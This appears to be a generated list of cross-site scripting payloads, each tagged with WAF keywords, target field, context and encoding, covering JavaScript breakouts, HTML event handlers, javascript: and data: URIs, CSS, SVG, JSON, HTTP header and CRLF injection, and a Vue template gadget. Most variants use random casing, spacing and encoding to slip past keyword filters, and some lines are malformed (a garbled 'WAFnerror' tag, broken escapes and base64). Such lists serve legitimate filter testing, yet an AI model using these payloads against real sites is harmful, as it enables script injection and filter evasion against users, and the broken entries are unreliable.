[WAF:|FIELD:static_block|CONTEXT:js|ENCODING:utf8]'; class X { static { aleRT(1) } }; //

[WAF:|FIELD:static_block|CONTEXT:js|ENCODING:utf8]' ;  class X  {  static  {  alert ( 1 )   }   }  ;  //

[WAF:|FIELD:static_block|CONTEXT:js|ENCODING:utf8]'; ClaSs x { sTAtic { alert(1) } }; //

[WAF:script,alert|FIELD:private_field|CONTEXT:js|ENCODING:utf8]'; class X { #x = alert(1) }; new X(); //

[WAF:script,alert|FIELD:private_field|CONTEXT:js|ENCODING:utf8]' ;  class X  {  #x  =  alert ( 1 )   }  ;  new X (  )  ;  //

[WAF:script,alert|FIELD:private_field|CONTEXT:js|ENCODING:utf8]'; class X { #x = aLERt(1) }; new X(); //

[WAF:script,alert|FIELD:private_field|CONTEXT:js|ENCODING:utf8]'; class X { #x = aleRT(1) }; new X(); //

[WAF:script,alert|FIELD:private_field|CONTEXT:js|ENCODING:utf8]'; cLAss X { #x = alErT(1) }; New x(); //

[WAF:script,alert|FIELD:private_field|CONTEXT:js|ENCODING:utf8]'; CLass X { #x = aLert(1) }; new X(); //

[WAF:script,onerror|FIELD:extends|CONTEXT:js|ENCODING:utf8]'; class X extends class { constructor() { alert(1) } } {}; new X(); //

[WAF:script,onerror|FIELD:extends|CONTEXT:js|ENCODING:utf8]'; clAss x EXtends clasS { CONSTructor() { aLeRt(1) } } {}; New X(); //

[WAF:script,onerror|FIELD:extends|CONTEXT:js|ENCODING:utf8]'; class X extends class { constructor() { aLErt(1) } } {}; new X(); //

[WAF:script,onerror|FIELD:extends|CONTEXT:js|ENCODING:utf8]'    ;        class    X    extends    class        {        constructor    (        )            {        alert    (    1    )            }            }            {        }        ;        new    X    (        )        ;        //

[WAF:script,onerror|FIELD:extends|CONTEXT:js|ENCODING:utf8]'; CLasS X exTeNDs ClaSs { cONStructor() { ALErt(1) } } {}; new X(); //

[WAF:alert,onerror|FIELD:super|CONTEXT:js|ENCODING:utf8]'; class X extends Y { constructor() { super(); alert(1) } }; //

[WAF:alert,onerror|FIELD:super|CONTEXT:js|ENCODING:utf8]'; class X extends Y { constructor() { super(); aleRt(1) } }; //

[WAF:alert,onerror|FIELD:super|CONTEXT:js|ENCODING:utf8]'; cLaSs x extENDs Y { coNStrUcTOr() { sUPeR(); aleRT(1) } }; //

[WAF:alert,onerror|FIELD:super|CONTEXT:js|ENCODING:utf8]'; class X extends Y { constructor() { super(); ALeRt(1) } }; //

[WAF:alert,onerror|FIELD:super|CONTEXT:js|ENCODING:utf8]'; CLass X EXtEndS Y { cOnstrucToR() { super(); Alert(1) } }; //

[WAF:alert,onerror|FIELD:super|CONTEXT:js|ENCODING:utf8]'    ;        class    X    extends    Y        {        constructor    (        )            {        super    (        )        ;        alert    (    1    )            }            }        ;        //

[WAF:script|FIELD:getter|CONTEXT:js|ENCODING:utf8]'; var o = {get x(){alert(1)}}; o.x; //

[WAF:script|FIELD:getter|CONTEXT:js|ENCODING:utf8]'; var o = {gEt x(){aLert(1)}}; o.x; //

[WAF:script|FIELD:getter|CONTEXT:js|ENCODING:utf8]'; Var o = {get x(){alErt(1)}}; o.X; //

[WAF:script|FIELD:getter|CONTEXT:js|ENCODING:utf8]'; var o = {get x(){ALert(1)}}; o.x; //

[WAF:script|FIELD:getter|CONTEXT:js|ENCODING:utf8]'; var o = {get x(){Alert(1)}}; o.x; //

[WAF:script|FIELD:getter|CONTEXT:js|ENCODING:utf8]' ;  var o  =   { get x (  )  { alert ( 1 )  }  }  ;  o.x ;  //

[WAFnerror|FIELD:setter|CONTEXT:js|ENCODING:utf8]'; var o = {set x(v){alert(1)}}; o.x = 1; //

[WAFnerror|FIELD:setter|CONTEXT:js|ENCODING:utf8]'; Var o = {seT x(v){aLerT(1)}}; o.x = 1; //

[WAFnerror|FIELD:setter|CONTEXT:js|ENCODING:utf8]'; Var o = {sEt x(v){alErt(1)}}; O.X = 1; //

[WAFnerror|FIELD:setter|CONTEXT:js|ENCODING:utf8]'; var o = {set x(v){alErt(1)}}; o.x = 1; //

[WAFnerror|FIELD:setter|CONTEXT:js|ENCODING:utf8]'    ;        var    o        =            {    set    x    (    v    )        {    alert    (    1    )        }        }        ;        o.x        =        1    ;        //

[WAFnerror|FIELD:setter|CONTEXT:js|ENCODING:utf8]'; var o = {set x(v){aLERT(1)}}; o.x = 1; //

[WAF:|FIELD:static_getter|CONTEXT:js|ENCODING:utf8]'; class X { static get x() { alert(1) } }; X.x; //

[WAF:|FIELD:static_getter|CONTEXT:js|ENCODING:utf8]'; class X { static get x() { aLERt(1) } }; X.x; //

[WAF:|FIELD:static_getter|CONTEXT:js|ENCODING:utf8]'; class X { static get x() { AlErT(1) } }; X.x; //

[WAF:|FIELD:static_getter|CONTEXT:js|ENCODING:utf8]'; cLass X { Static Get X() { Alert(1) } }; x.x; //

[WAF:|FIELD:static_getter|CONTEXT:js|ENCODING:utf8]'    ;        class    X        {        static    get    x    (        )            {        alert    (    1    )            }            }        ;        X.x    ;        //

[WAF:|FIELD:static_getter|CONTEXT:js|ENCODING:utf8]'; cLAsS x { static gET X() { aleRT(1) } }; X.x; //

[WAF:script,alert|FIELD:class_field|CONTEXT:js|ENCODING:utf8]'; class X { x = alert(1) }; new X(); //

[WAF:script,alert|FIELD:class_field|CONTEXT:js|ENCODING:utf8]'; class X { x = alErt(1) }; new X(); //

[WAF:script,alert|FIELD:class_field|CONTEXT:js|ENCODING:utf8]'; clAss x { x = AlERt(1) }; neW X(); //

[WAF:script,alert|FIELD:class_field|CONTEXT:js|ENCODING:utf8]'; clAss X { x = AlErT(1) }; new x(); //

[WAF:script,alert|FIELD:class_field|CONTEXT:js|ENCODING:utf8]' ;  class X  {  x  =  alert ( 1 )   }  ;  new X (  )  ;  //

[WAF:script,alert|FIELD:class_field|CONTEXT:js|ENCODING:utf8]'; class X { x = ALErT(1) }; new X(); //

[WAF:script,onerror|FIELD:computed|CONTEXT:js|ENCODING:utf8]'; var o = {[alert(1)]: 1}; //

[WAF:script,onerror|FIELD:computed|CONTEXT:js|ENCODING:utf8]'; var o = {[ALERt(1)]: 1}; //

[WAF:script,onerror|FIELD:computed|CONTEXT:js|ENCODING:utf8]'; var o = {[aLert(1)]: 1}; //

[WAF:script,onerror|FIELD:computed|CONTEXT:js|ENCODING:utf8]'

;



var

o



=





{

[alert

(

1

)

]

:



1

}



;



//

[WAF:script,onerror|FIELD:computed|CONTEXT:js|ENCODING:utf8]'; VAr O = {[alERt(1)]: 1}; //

[WAF:script,onerror|FIELD:computed|CONTEXT:js|ENCODING:utf8]'; Var O = {[alErT(1)]: 1}; //

[WAF:alert,onerror|FIELD:shorthand|CONTEXT:js|ENCODING:utf8]'; var x = alert(1); var o = {x}; //

[WAF:alert,onerror|FIELD:shorthand|CONTEXT:js|ENCODING:utf8]' ;  var x  =  alert ( 1 )  ;  var o  =   { x }  ;  //

[WAF:alert,onerror|FIELD:shorthand|CONTEXT:js|ENCODING:utf8]'; var x = aLErT(1); VAr o = {x}; //

[WAF:alert,onerror|FIELD:shorthand|CONTEXT:js|ENCODING:utf8]'; var x = AlERt(1); var o = {x}; //

[WAF:alert,onerror|FIELD:shorthand|CONTEXT:js|ENCODING:utf8]'; var x = ALeRt(1); var o = {x}; //

[WAF:alert,onerror|FIELD:shorthand|CONTEXT:js|ENCODING:utf8]'; Var X = aLErt(1); var O = {X}; //

[WAF:script|FIELD:spread_obj|CONTEXT:js|ENCODING:utf8]'; var o = {...{[alert(1)]: 1}}; //

[WAF:script|FIELD:spread_obj|CONTEXT:js|ENCODING:utf8]'; var o = {...{[alErt(1)]: 1}}; //

[WAF:script|FIELD:spread_obj|CONTEXT:js|ENCODING:utf8]' ;  var o  =   { ... { [alert ( 1 ) ] :  1 }  }  ;  //

[WAF:script|FIELD:spread_obj|CONTEXT:js|ENCODING:utf8]'; VaR o = {...{[aLeRT(1)]: 1}}; //

[WAF:script|FIELD:spread_obj|CONTEXT:js|ENCODING:utf8]'; var o = {...{[aLerT(1)]: 1}}; //

[WAFnerror|FIELD:rest|CONTEXT:js|ENCODING:utf8]'; function f(...x){ alert(1) }; f(); //

[WAFnerror|FIELD:rest|CONTEXT:js|ENCODING:utf8]'; FunCTion F(...x){ alErt(1) }; f(); //

[WAFnerror|FIELD:rest|CONTEXT:js|ENCODING:utf8]'; fUNCtION f(...x){ aLERT(1) }; f(); //

[WAFnerror|FIELD:rest|CONTEXT:js|ENCODING:utf8]'; FuncTioN f(...x){ alert(1) }; f(); //

[WAFnerror|FIELD:rest|CONTEXT:js|ENCODING:utf8]'    ;        function    f    (    ...x    )        {        alert    (    1    )            }        ;        f    (        )        ;        //

[WAFnerror|FIELD:rest|CONTEXT:js|ENCODING:utf8]'; fuNCTion f(...x){ ALERT(1) }; f(); //

[WAF:|FIELD:default_param|CONTEXT:js|ENCODING:utf8]'; function f(x = alert(1)){}; f(); //

[WAF:|FIELD:default_param|CONTEXT:js|ENCODING:utf8]'; FUNCtIOn F(X = ALERT(1)){}; f(); //

[WAF:|FIELD:default_param|CONTEXT:js|ENCODING:utf8]' ;  function f ( x  =  alert ( 1 )  )  {  }  ;  f (  )  ;  //

[WAF:|FIELD:default_param|CONTEXT:js|ENCODING:utf8]'; FuNcTion f(x = aleRT(1)){}; f(); //

[WAF:|FIELD:default_param|CONTEXT:js|ENCODING:utf8]'; funCtIOn f(x = AleRT(1)){}; f(); //

[WAF:|FIELD:default_param|CONTEXT:js|ENCODING:utf8]'; fuNcTIOn f(x = AlerT(1)){}; f(); //

[WAF:script,alert|FIELD:arrow|CONTEXT:js|ENCODING:utf8]'; (() => alert(1))(); //

[WAF:script,alert|FIELD:arrow|CONTEXT:js|ENCODING:utf8]'; (() => aleRT(1))(); //

[WAF:script,alert|FIELD:arrow|CONTEXT:js|ENCODING:utf8]'; (() => alErt(1))(); //

[WAF:script,alert|FIELD:arrow|CONTEXT:js|ENCODING:utf8]'

;





(



(



)





=

alert

(

1

)



)



(



)



;



//

[WAF:script,alert|FIELD:arrow|CONTEXT:js|ENCODING:utf8]'; (() => aLERt(1))(); //

[WAF:script,onerror|FIELD:concise|CONTEXT:js|ENCODING:utf8]'; var x = () => alert(1); x(); //

[WAF:script,onerror|FIELD:concise|CONTEXT:js|ENCODING:utf8]'; VaR x = () => alert(1); x(); //

[WAF:script,onerror|FIELD:concise|CONTEXT:js|ENCODING:utf8]'; vaR x = () => aLerT(1); x(); //

[WAF:script,onerror|FIELD:concise|CONTEXT:js|ENCODING:utf8]' ;  var x  =   (  )   = > alert ( 1 )  ;  x (  )  ;  //

[WAF:script,onerror|FIELD:concise|CONTEXT:js|ENCODING:utf8]'; var x = () => aLeRt(1); x(); //

[WAF:script,onerror|FIELD:concise|CONTEXT:js|ENCODING:utf8]'; var x = () => aLErT(1); x(); //

[WAF:alert,onerror|FIELD:block|CONTEXT:js|ENCODING:utf8]'; { alert(1) }; //

[WAF:alert,onerror|FIELD:block|CONTEXT:js|ENCODING:utf8]'; { ALErT(1) }; //

[WAF:alert,onerror|FIELD:block|CONTEXT:js|ENCODING:utf8]'; { AlErt(1) }; //

[WAF:alert,onerror|FIELD:block|CONTEXT:js|ENCODING:utf8]'    ;            {        alert    (    1    )            }        ;        //

[WAF:alert,onerror|FIELD:block|CONTEXT:js|ENCODING:utf8]'; { AleRt(1) }; //

[WAF:alert,onerror|FIELD:block|CONTEXT:js|ENCODING:utf8]'; { aLeRT(1) }; //

[WAF:script|FIELD:iife|CONTEXT:js|ENCODING:utf8]'; (function(){ alert(1) })(); //

[WAF:script|FIELD:iife|CONTEXT:js|ENCODING:utf8]'; (FUNctION(){ aLErt(1) })(); //

[WAF:script|FIELD:iife|CONTEXT:js|ENCODING:utf8]' ;   ( function (  )  {  alert ( 1 )   }  )  (  )  ;  //

[WAF:script|FIELD:iife|CONTEXT:js|ENCODING:utf8]'; (functiON(){ alerT(1) })(); //

[WAF:script|FIELD:iife|CONTEXT:js|ENCODING:utf8]'; (fUnctIon(){ aLErT(1) })(); //

[WAF:script|FIELD:iife|CONTEXT:js|ENCODING:utf8]'; (FuncTion(){ alert(1) })(); //

[WAFnerror|FIELD:new_function|CONTEXT:js|ENCODING:utf8]'; new function(){ alert(1) }; //

[WAFnerror|FIELD:new_function|CONTEXT:js|ENCODING:utf8]'; neW fUnCTION(){ ALeRt(1) }; //

[WAFnerror|FIELD:new_function|CONTEXT:js|ENCODING:utf8]'; new FuNcTion(){ ALERT(1) }; //

[WAFnerror|FIELD:new_function|CONTEXT:js|ENCODING:utf8]'; new FUnCtIon(){ ALERT(1) }; //

[WAFnerror|FIELD:new_function|CONTEXT:js|ENCODING:utf8]'; New FunCTiOn(){ aleRt(1) }; //

[WAFnerror|FIELD:new_function|CONTEXT:js|ENCODING:utf8]' ;  new function (  )  {  alert ( 1 )   }  ;  //

[WAF:|FIELD:void|CONTEXT:js|ENCODING:utf8]'; void alert(1); //

[WAF:|FIELD:void|CONTEXT:js|ENCODING:utf8]'; void alERt(1); //

[WAF:|FIELD:void|CONTEXT:js|ENCODING:utf8]'; vOid Alert(1); //

[WAF:|FIELD:void|CONTEXT:js|ENCODING:utf8]'; void ALeRT(1); //

[WAF:|FIELD:void|CONTEXT:js|ENCODING:utf8]'; vOiD ALert(1); //

[WAF:|FIELD:void|CONTEXT:js|ENCODING:utf8]' ;  void alert ( 1 )  ;  //

[WAF:script,alert|FIELD:typeof|CONTEXT:js|ENCODING:utf8]'; typeof alert(1); //

[WAF:script,alert|FIELD:typeof|CONTEXT:js|ENCODING:utf8]'; tYPEof alERt(1); //

[WAF:script,alert|FIELD:typeof|CONTEXT:js|ENCODING:utf8]'; typeof AlErT(1); //

[WAF:script,alert|FIELD:typeof|CONTEXT:js|ENCODING:utf8]'; TyPEof AlErt(1); //

[WAF:script,alert|FIELD:typeof|CONTEXT:js|ENCODING:utf8]'; typeof AlErt(1); //

[WAF:script,alert|FIELD:typeof|CONTEXT:js|ENCODING:utf8]'    ;        typeof    alert    (    1    )        ;        //

[WAF:script,onerror|FIELD:delete|CONTEXT:js|ENCODING:utf8]'; delete alert(1); //

[WAF:script,onerror|FIELD:delete|CONTEXT:js|ENCODING:utf8]' ;  delete alert ( 1 )  ;  //

[WAF:script,onerror|FIELD:delete|CONTEXT:js|ENCODING:utf8]'; delete ALErT(1); //

[WAF:script,onerror|FIELD:delete|CONTEXT:js|ENCODING:utf8]'; DElete aleRt(1); //

[WAF:script,onerror|FIELD:delete|CONTEXT:js|ENCODING:utf8]'; dEletE alERT(1); //

[WAF:script,onerror|FIELD:delete|CONTEXT:js|ENCODING:utf8]'; delete aLErT(1); //

[WAF:alert,onerror|FIELD:in|CONTEXT:js|ENCODING:utf8]'; alert(1) in {}; //

[WAF:alert,onerror|FIELD:in|CONTEXT:js|ENCODING:utf8]'; AleRt(1) in {}; //

[WAF:alert,onerror|FIELD:in|CONTEXT:js|ENCODING:utf8]'; alert(1) In {}; //

[WAF:alert,onerror|FIELD:in|CONTEXT:js|ENCODING:utf8]'    ;        alert    (    1    )        in        {        }        ;        //

[WAF:alert,onerror|FIELD:in|CONTEXT:js|ENCODING:utf8]'; aleRt(1) In {}; //

[WAF:alert,onerror|FIELD:in|CONTEXT:js|ENCODING:utf8]'; Alert(1) in {}; //

[WAF:script|FIELD:instanceof|CONTEXT:js|ENCODING:utf8]'; alert(1) instanceof Object; //

[WAF:script|FIELD:instanceof|CONTEXT:js|ENCODING:utf8]'

;



alert

(

1

)



instanceof

Object

;



//

[WAF:script|FIELD:instanceof|CONTEXT:js|ENCODING:utf8]'; ALeRt(1) iNStanCeof ObJEct; //

[WAF:script|FIELD:instanceof|CONTEXT:js|ENCODING:utf8]'; alert(1) InstanCeof ObJeCt; //

[WAF:script|FIELD:instanceof|CONTEXT:js|ENCODING:utf8]'; alerT(1) instanceof Object; //

[WAF:script|FIELD:instanceof|CONTEXT:js|ENCODING:utf8]'; AlERt(1) instanceof Object; //

[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><img src=x onerror=confirm(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><img Src=x onerrOR=COnfirm(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><IMG src=x ONerroR=confIrm(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><img src=x onerrOR=confirm(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><IMG src=x onerror=confirm(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]> <img src = x onerror = confirm ( 1 ) >

[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><img src=x OneRroR=CoNFirM(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><ImG src=x onERroR=conFIrm(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><svg onload=prompt(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><Svg oNloaD=PrOMpt(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><SVG ONloaD=PrOMpt(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><svg oNlOAd=prompt(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]>    <svg    onload    =    prompt    (    1    )    >  

[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><Svg onload=prompt(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><svg oNlOad=prOmPt(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><sVg oNLoAD=ProMpt(1)>

[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]><body onpageshow=alert(1)>

[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]><BodY ONPageShow=alErt(1)>

[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]>

<body

onpageshow

=

alert

(

1

)



[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]><BodY onpageshow=alert(1)>

[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]><boDy OnpAgeshoW=aleRt(1)>

[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]><body onpageshow=aleRT(1)>

[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]><BODY onpageshow=ALErt(1)>

[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]><marquee onstart=alert(1)>

[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]><mARqueE OnSTArT=alerT(1)>

[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]><marquee onstart=ALeRT(1)>

[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]><marquee oNSTart=alert(1)>

[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]><marquee onstart=ALerT(1)>

[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]> <marquee onstart = alert ( 1 ) >

[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><details ontoggle=prompt(1) open>

[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><details ontoggle=pRomPT(1) open>

[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><detAils onToggle=prOmPT(1) open>

[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><dEtAILs oNtoGGLe=prOmpt(1) oPEN>

[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]> <details ontoggle = prompt ( 1 )  open>

[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><details ontoggle=pRompT(1) open>

[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><keygen onfocus=confirm(1) autofocus>

[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><keygen onfOcUS=confirm(1) autofocus>

[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><keygen onfocus=confIRm(1) autofocus>

[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><KeYGen OnfOCus=cOnFIrm(1) aUtofocUs>

[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]> <keygen onfocus = confirm ( 1 )  autofocus>

[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><keygen onfocus=cOnfirM(1) autofocus>

[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><kEyGen oNfOcus=conFIRm(1) aUtoFOcuS>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:url]" onload=prompt%281%29 autofocus="

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:url]" onLo%41d=pR%6FmpT%281%29 AutofOcUS="

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:url]" onload=p%72ompt%281%29 a%75%74ofo%63us="

[WAF:script,onerror|FIELD:username|CONTEXT:js|ENCODING:json]\"}; alert(1); //

[WAF:script,onerror|FIELD:username|CONTEXT:js|ENCODING:json]\"}; ALerT(1); //

[WAF:script,onerror|FIELD:username|CONTEXT:js|ENCODING:unicode]\u0027; alert(1); //

[WAF:script,onerror|FIELD:username|CONTEXT:js|ENCODING:unicode]\u0027; Al\u0045r\u0054(1); //

[WAF:script,onerror|FIELD:username|CONTEXT:js|ENCODING:unicode]\u0027; \u0061le\u0072t(1); //

[WAF:script,onerror|FIELD:username|CONTEXT:js|ENCODING:hex]\x27; alert(1); //

[WAF:script,onerror|FIELD:username|CONTEXT:js|ENCODING:hex]\x27; \x61l\x65rT(1); //

[WAF:script,onerror|FIELD:username|CONTEXT:js|ENCODING:hex]\x27; aler\x74(1); //

[WAF:alert,onerror|FIELD:redirect|CONTEXT:url|ENCODING:url]javascript%3aprompt(1)

[WAF:alert,onerror|FIELD:redirect|CONTEXT:url|ENCODING:url]JAv%61%53%63RIpT%3apRom%70t(1)

[WAF:alert,onerror|FIELD:redirect|CONTEXT:url|ENCODING:url]javas%63%72ipt%3apromp%74(1)

[WAF:alert,onerror|FIELD:redirect|CONTEXT:url|ENCODING:double_url]javascript%253aprompt(1)

[WAF:alert,onerror|FIELD:redirect|CONTEXT:url|ENCODING:double_url]%6Aava%73cript%253apr%6Fmp%74(1)

[WAF:script|FIELD:profile|CONTEXT:data_uri|ENCODING:base64]data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

[WAF:script|FIELD:profile|CONTEXT:data_uri|ENCODING:base64]data:text/html;base64,PHNJcMlwDD5hbgVydcgxkTwvc2NyaXB0Pg==

[WAF:script|FIELD:profile|CONTEXT:data_uri|ENCODING:url]data%3atext/html,<script>alert(1)</script>

[WAF:script|FIELD:profile|CONTEXT:data_uri|ENCODING:url]daTA%3ate%78t/htm%6C,<scrIp%74>aLErt(1)</scRI%70T>

[WAF:script|FIELD:profile|CONTEXT:data_uri|ENCODING:url]data%3%61tex%74/html,<script>%61lert(1)</script>

[WAF:alert|FIELD:comment|CONTEXT:css|ENCODING:css_escape]\22 }; * {background:url(javascript:prompt(1))}//

[WAF:alert|FIELD:comment|CONTEXT:css|ENCODING:css_escape]\\\2\2\ \}\;\ \*\ \{\b\a\c\k\g\r\o\u\n\d\:\u\r\l\(\j\a\v\a\s\c\r\i\p\t\:\p\r\o\m\p\t\(\1\)\)\}\/\/

[WAF:alert|FIELD:comment|CONTEXT:css|ENCODING:hex];} * {background:url(\6a\61\76\61\73\63\72\69\70\74:prompt(1))}//

[WAF:alert|FIELD:comment|CONTEXT:css|ENCODING:hex];} * {backgr\x6fund:url(\6a\61\76\61\73\63\72\69\70\74:prompt(1))}//

[WAF:alert|FIELD:comment|CONTEXT:css|ENCODING:hex];} * {backgrou\x6ed:url(\6a\61\76\61\73\63\72\69\70\74:pRoMP\x74(1))}//

[WAFnerror|FIELD:avatar|CONTEXT:svg|ENCODING:html]&lt;svg onload=alert(1)&gt;

[WAFnerror|FIELD:avatar|CONTEXT:svg|ENCODING:html]&lt;s&#x76;g onload=alert(1)&gt;

[WAFnerror|FIELD:avatar|CONTEXT:svg|ENCODING:html]&lt;&#115;V&#103; OnLOAD=alErt(1)&gt;

[WAFnerror|FIELD:avatar|CONTEXT:svg|ENCODING:html]&lt;s&#x76;g onLOAD=AL&#x65;Rt(1)&gt;

[WAFnerror|FIELD:avatar|CONTEXT:svg|ENCODING:html]&&#108;t;svg onlo&#97;d=alert(1)&gt;

[WAFnerror|FIELD:avatar|CONTEXT:svg|ENCODING:xml]&lt;svg&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;/svg&gt;

[WAFnerror|FIELD:avatar|CONTEXT:svg|ENCODING:xml]&lt;svg&gt;&lt;sCrIpt&gt;alERT(1)&lt;/sCrIpt&gt;&lt;/svg&gt;

[WAFnerror|FIELD:avatar|CONTEXT:svg|ENCODING:xml]&lt;svg&gt;&lt;Script&Gt;aLErt(1)&lt;/scrIpt&gt;&Lt;/Svg&gt;

[WAF:|FIELD:api|CONTEXT:json|ENCODING:json]\"}, \"error\": \"<img src=x onerror=alert(1)>\", \"foo\":\"

[WAF:|FIELD:api|CONTEXT:json|ENCODING:json]\"}, \"error\": \"<Img src=X onerroR=alerT(1)>\", \"foO\":\"

[WAF:|FIELD:api|CONTEXT:json|ENCODING:json]\"}, \"error\": \"<img src=x oneRROr=alErT(1)>\", \"foo\":\"

[WAF:|FIELD:api|CONTEXT:json|ENCODING:unicode]\u0022, \u0022error\u0022: \u0022<img src=x onerror=alert(1)>\u0022

[WAF:|FIELD:api|CONTEXT:json|ENCODING:unicode]\u0022, \u0022e\u0072\u0072or\u0022: \u0022<img src=x oNerroR=ALErT(1)>\u0022

[WAF:|FIELD:api|CONTEXT:json|ENCODING:unicode]\u0022, \u0022error\u0022: \u0022<img src=x onerror=aler\u0074(1)>\u0022

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:url]X-Forwarded-For:%20127.0.0.1%22%3E%3Cscript%3Ealert(1)%3C/script%3E

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:url]X-%46orwarded-For:%20127.0.0.1%22%3E%3Cscr%69pt%3Ealert(1)%3%43/%73cript%3E

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:url]X-ForwArdeD-FOR:%20127.0.0.1%22%3E%3Cscript%3EaleR%74(1)%3C/sc%52iPT%3E

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:crlf]X-Forwarded-For: 127.0.0.1%0d%0a%0d%0a<script>alert(1)</script>

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:crlf]X-ForwaRded-For: 127.0.0.1%0d%0A%0D%0a<scripT>aLErT(1)</scrIPT>

[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:crlf]X-Forwarded-For: 127.0.0.1%0d%0a%0d%0a<ScrIpt>ALeRt(1)</ScrIpt>

[WAF:script,onerror|FIELD:cookie|CONTEXT:http|ENCODING:url]Cookie:%20session=%22%3E%3Cscript%3Ealert(1)%3C/script%3E

[WAF:script,onerror|FIELD:cookie|CONTEXT:http|ENCODING:url]Cookie:%20session=%22%3E%3Cs%63rip%74%3E%61lert(1)%3C/script%3E

[WAF:script,onerror|FIELD:cookie|CONTEXT:http|ENCODING:url]Co%4FKie:%20ses%73ION=%22%3E%3cscript%3E%61lER%74(1)%3c/scRipt%3e

[WAF:alert,onerror|FIELD:xml|CONTEXT:xml|ENCODING:xml]&gt;&lt;![CDATA[&lt;script&gt;prompt(1)&lt;/script&gt;]]&gt;

[WAF:alert,onerror|FIELD:xml|CONTEXT:xml|ENCODING:xml]&gt;&lT;![CDaTa[&lt;script&gt;proMpT(1)&lt;/sCrIpT&gt;]]&Gt;

[WAF:alert,onerror|FIELD:xml|CONTEXT:xml|ENCODING:xml]&gt;&lt;![CDATA[&lt;sCRipT&gt;promPT(1)&lt;/sCRipT&gt;]]&gt;

[WAF:script|FIELD:vue|CONTEXT:js|ENCODING:unicode]{{constructor.constructor('\u0061\u006c\u0065\u0072\u0074(1)')()}}

[WAF:script|FIELD:vue|CONTEXT:js|ENCODING:unicode]{{cons\u0074\u0072uctor.constructor('\u0061\u006c\u0065\u0072\u0074(1)')()}}

[WAF:script|FIELD:vue|CONTEXT:js|ENCODING:unicode]{{const\u0072uctor.constructor('\u0061\u006c\u0065\u0072\u0074(1)')()}}

[WAF:script,onerror|FIELD:dom|CONTEXT:url_fragment|ENCODING:url]#%3Cimg%20src=x%20onerror=alert(1)%3E

[WAF:script,onerror|FIELD:dom|CONTEXT:url_fragment|ENCODING:url]#%3ciMg%20s%72c=x%20onErRoR=a%4CeRt(1)%3E

[WAF:script,onerror|FIELD:dom|CONTEXT:url_fragment|ENCODING:url]#%3Cimg%20src=x%20o%6Eer%72or=al%65rt(1)%3E

[WAF:alert,onerror|FIELD:eval|CONTEXT:js|ENCODING:hex]'; eval('\x70\x72\x6f\x6d\x70\x74(1)'); //

[WAF:alert,onerror|FIELD:eval|CONTEXT:js|ENCODING:hex]'; eval('\\x7870\x72\x6f\x6d\x70\x74(1)'); //

[WAF:alert,onerror|FIELD:eval|CONTEXT:js|ENCODING:hex]'; eval('\x70\x72\x6\x66\x6d\x70\x74(1)'); //

[WAF:alert,onerror|FIELD:eval|CONTEXT:js|ENCODING:unicode]'; eval('\u0070\u0072\u006f\u006d\u0070\u0074(1)'); //

